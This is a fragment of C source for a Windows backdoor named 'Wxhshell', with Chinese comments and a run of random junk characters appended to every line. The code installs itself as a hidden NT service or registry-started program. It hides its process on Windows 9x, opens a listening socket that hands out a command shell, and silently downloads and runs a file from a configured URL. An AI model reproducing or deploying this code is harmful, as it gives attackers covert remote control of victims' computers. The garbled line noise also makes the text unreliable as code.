DWORD AffinityMask; *=P*b|P"$
DWORD BasePriority; ('2Z&5
ULONG UniqueProcessId; TUARYJ6=
ULONG InheritedFromUniqueProcessId; m%b#B>J,n
} PROCESS_BASIC_INFORMATION; $WO{!R
4Ik'beZqK
PROCNTQSIP NtQueryInformationProcess; .vie#,la
A6
Rw LX
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +i[vJRLxl~
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (|pM^+
+~sqv?8
HANDLE hProcess; dU2:H}
PROCESS_BASIC_INFORMATION pbi; 0]zMb^wo
+p$lVnAt
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SX&Q5:
if(NULL == hInst ) return 0; eCiI=HcW;
gfKv$~
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NieNfurG%
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ltKMvGEF
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j9X|c7|
vnS8N
if (!NtQueryInformationProcess) return 0; 6ld /E
j.[W] EfL~
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /6Kx249Dw
if(!hProcess) return 0; 7.]H9
yY]E~
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `fE'$2
$Tal.
CloseHandle(hProcess); G E? \Vm
`lrNH]B
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r]U8WM3r
if(hProcess==NULL) return 0; w&e3#p
wB:<ICm
HMODULE hMod; nX\mCO4T
char procName[255]; 3"sXN)j
unsigned long cbNeeded; FF;Fo}no-
'<>?gE0Cd
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;/H/Gn+
~[f`oC
CloseHandle(hProcess); Er
-rm
7*
[
if(strstr(procName,"services")) return 1; // 以服务启动 N( f0,
%j2$ ezud
return 0; // 注册表启动 3#Iq5vT
} YABi`;R]'
de;CEm<n
// 主模块 2qQ;U?:q
int StartWxhshell(LPSTR lpCmdLine) !N!AO(Z
{ )Cat$)I#,
SOCKET wsl; 13*S<\
BOOL val=TRUE; D]5j?X'
int port=0; x&r f]R
struct sockaddr_in door; ?6HnN0A)
IVVX3RI
if(wscfg.ws_autoins) Install(); 5tk7H2K^<
*!j!o%MB
port=atoi(lpCmdLine); J/3$I
skU
}BUK6
if(port<=0) port=wscfg.ws_port; ]u:_r)T
64vj6 &L
WSADATA data; Ktu~%)k%
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nPDoK!r'
-<sW`HpD'
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; X4+H8],)
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R&$fWV;'
door.sin_family = AF_INET; Xoha.6$l5
door.sin_addr.s_addr = inet_addr("127.0.0.1"); !R@jbM
door.sin_port = htons(port); ,9MNB3
m4yWhUi(o
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x0K#-
closesocket(wsl); HKIr?
return 1; Q#*R({)GH
} >UV}^OO
RS#C4NG
if(listen(wsl,2) == INVALID_SOCKET) { 3sW!ya-VZ
closesocket(wsl); bnPhhsR
return 1; IkG;j+=
} Vol}wc
Wxhshell(wsl); ,`YIcrya:
WSACleanup(); yb)qg]2
IM,4Si2
return 0; :G]t=vr1
s%8,'3&
} Pa?{}A
fsWIz1K
// 以NT服务方式启动 nrX+ '
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i r'C(zD=
{ '&2-{Y [!
DWORD status = 0; 27}7
n
DWORD specificError = 0xfffffff; LFr$h`_D5
&|#,Bsk"@
serviceStatus.dwServiceType = SERVICE_WIN32; TKiYEh
serviceStatus.dwCurrentState = SERVICE_START_PENDING; /8Z&Y`G
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <@lj\,
serviceStatus.dwWin32ExitCode = 0; 6L)7Q0Z
serviceStatus.dwServiceSpecificExitCode = 0; H/.UDz
serviceStatus.dwCheckPoint = 0; k8l7.e*
serviceStatus.dwWaitHint = 0; >;R7r|^k
F/[m.!Eo
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7 toIbC#
if (hServiceStatusHandle==0) return; I*$-[3/
d+6q%U
status = GetLastError(); PHUeN]s#
if (status!=NO_ERROR) {wgq>cb
{ JT~Dr KI_
serviceStatus.dwCurrentState = SERVICE_STOPPED; TB= _r(:l+
serviceStatus.dwCheckPoint = 0; #?,"/Btq
serviceStatus.dwWaitHint = 0; tR2%oT>h
serviceStatus.dwWin32ExitCode = status; Pc7p2
serviceStatus.dwServiceSpecificExitCode = specificError; a*:GCGe
SetServiceStatus(hServiceStatusHandle, &serviceStatus); %NTJih`
return; /k(wb4Hv
} nLC5FA7<
c=QN!n:
serviceStatus.dwCurrentState = SERVICE_RUNNING; -@Urq>^v T
serviceStatus.dwCheckPoint = 0; Qpj[]c5
serviceStatus.dwWaitHint = 0; kbJ4CF}H
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B6KG\,'|
} YW&`PJ9o
}Z t#OA
$
// 处理NT服务事件,比如:启动、停止 z-:>[Sn
VOID WINAPI NTServiceHandler(DWORD fdwControl) Hs_7oy|P
{ uBn35%
switch(fdwControl) Rha|Rk~
{ 3N|6?'m
case SERVICE_CONTROL_STOP: E@#<p-@~
serviceStatus.dwWin32ExitCode = 0; A)Rh
Bi
serviceStatus.dwCurrentState = SERVICE_STOPPED; HgBu:x?&
serviceStatus.dwCheckPoint = 0; SqdI($F\:
serviceStatus.dwWaitHint = 0; -M_>]ubG
{ xI/8[JW*
SetServiceStatus(hServiceStatusHandle, &serviceStatus); z.?slYe[
} #0\* 86
return; k#7A@Vb
case SERVICE_CONTROL_PAUSE: euW
serviceStatus.dwCurrentState = SERVICE_PAUSED; ;t,v/(/3
break; 3 TTQff
case SERVICE_CONTROL_CONTINUE: F6b;qb6n
serviceStatus.dwCurrentState = SERVICE_RUNNING; }qWB=,8HQ
break;
Qw
}1mRv
case SERVICE_CONTROL_INTERROGATE: Z",2db
break; DsD? &:
}; 0IP0zil
SetServiceStatus(hServiceStatusHandle, &serviceStatus); s&<76kwl
} Q#.E-\=^
jA[")RVG
// 标准应用程序主函数 {,Rlq
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JAI.NKB3
{ 25j\p{*
lC,~_Yb
// 获取操作系统版本 !IB}&m
OsIsNt=GetOsVer(); 9sd}Z,l
GetModuleFileName(NULL,ExeFile,MAX_PATH); {MTtj4$
(d
(>0YMv
// 从命令行安装 eT ]*c?"
if(strpbrk(lpCmdLine,"iI")) Install(); r y@p
^tI&5S]nE
// 下载执行文件 <[K)PI
if(wscfg.ws_downexe) { A wk1d
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;sq xFF@
WinExec(wscfg.ws_filenam,SW_HIDE); zK{}
} ?r5a*
r.6?|
if(!OsIsNt) { ,?Zy4-
// 如果时win9x,隐藏进程并且设置为注册表启动 53pT{2]zAi
HideProc(); s.n:;8RibP
StartWxhshell(lpCmdLine); qDz[=6BF
} ir>+p>s.
else |F<%gJ
if(StartFromService()) [!8bjc]c
// 以服务方式启动 81!;W t(?
StartServiceCtrlDispatcher(DispatchTable); o)x&|0_
else <RY!Mc
// 普通方式启动 v&3"(fp
StartWxhshell(lpCmdLine); (I'{
pF)
0>]&9'cn
return 0; -m mQ]'.0
}